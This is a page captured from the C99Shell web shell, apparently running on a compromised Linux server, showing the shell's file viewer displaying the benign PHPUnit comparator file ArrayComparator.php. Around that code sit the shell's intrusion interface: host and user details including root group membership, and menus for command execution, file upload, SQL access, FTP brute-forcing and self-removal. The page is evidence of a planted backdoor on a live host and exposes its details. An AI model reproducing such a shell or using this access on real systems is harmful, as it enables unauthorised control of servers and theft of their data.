!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/sebastian/comparator/src/   drwxr-xr-x
Free 28.51 GB of 117.98 GB (24.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ArrayComparator.php (3.8 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);
/*
 * This file is part of sebastian/comparator.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace SebastianBergmann\Comparator;

use function 
array_key_exists;
use function 
assert;
use function 
is_array;
use function 
sort;
use function 
sprintf;
use function 
str_replace;
use function 
trim;
use 
SebastianBergmann\Exporter\Exporter;

/**
 * Arrays are equal if they contain the same key-value pairs.
 * The order of the keys does not matter.
 * The types of key-value pairs do not matter.
 */
class ArrayComparator extends Comparator
{
    public function 
accepts(mixed $expectedmixed $actual): bool
    
{
        return 
is_array($expected) && is_array($actual);
    }

    
/**
     * @throws ComparisonFailure
     */
    
public function assertEquals(mixed $expectedmixed $actualfloat $delta 0.0bool $canonicalize falsebool $ignoreCase false, array &$processed = []): void
    
{
        
assert(is_array($expected));
        
assert(is_array($actual));

        if (
$canonicalize) {
            
sort($expected);
            
sort($actual);
        }

        
$remaining        $actual;
        
$actualAsString   "Array (\n";
        
$expectedAsString "Array (\n";
        
$equal            true;
        
$exporter         = new Exporter;

        foreach (
$expected as $key => $value) {
            unset(
$remaining[$key]);

            if (!
array_key_exists($key$actual)) {
                
$expectedAsString .= sprintf(
                    
"    %s => %s\n",
                    
$exporter->export($key),
                    
$exporter->shortenedExport($value)
                );

                
$equal false;

                continue;
            }

            try {
                
$comparator $this->factory()->getComparatorFor($value$actual[$key]);
                
$comparator->assertEquals($value$actual[$key], $delta$canonicalize$ignoreCase$processed);

                
$expectedAsString .= sprintf(
                    
"    %s => %s\n",
                    
$exporter->export($key),
                    
$exporter->shortenedExport($value)
                );

                
$actualAsString .= sprintf(
                    
"    %s => %s\n",
                    
$exporter->export($key),
                    
$exporter->shortenedExport($actual[$key])
                );
            } catch (
ComparisonFailure $e) {
                
$expectedAsString .= sprintf(
                    
"    %s => %s\n",
                    
$exporter->export($key),
                    
$e->getExpectedAsString() ? $this->indent($e->getExpectedAsString()) : $exporter->shortenedExport($e->getExpected())
                );

                
$actualAsString .= sprintf(
                    
"    %s => %s\n",
                    
$exporter->export($key),
                    
$e->getActualAsString() ? $this->indent($e->getActualAsString()) : $exporter->shortenedExport($e->getActual())
                );

                
$equal false;
            }
        }

        foreach (
$remaining as $key => $value) {
            
$actualAsString .= sprintf(
                
"    %s => %s\n",
                
$exporter->export($key),
                
$exporter->shortenedExport($value)
            );

            
$equal false;
        }

        
$expectedAsString .= ')';
        
$actualAsString .= ')';

        if (!
$equal) {
            throw new 
ComparisonFailure(
                
$expected,
                
$actual,
                
$expectedAsString,
                
$actualAsString,
                
'Failed asserting that two arrays are equal.'
            
);
        }
    }

    private function 
indent(string $lines): string
    
{
        return 
trim(str_replace("\n""\n    "$lines));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0051 ]--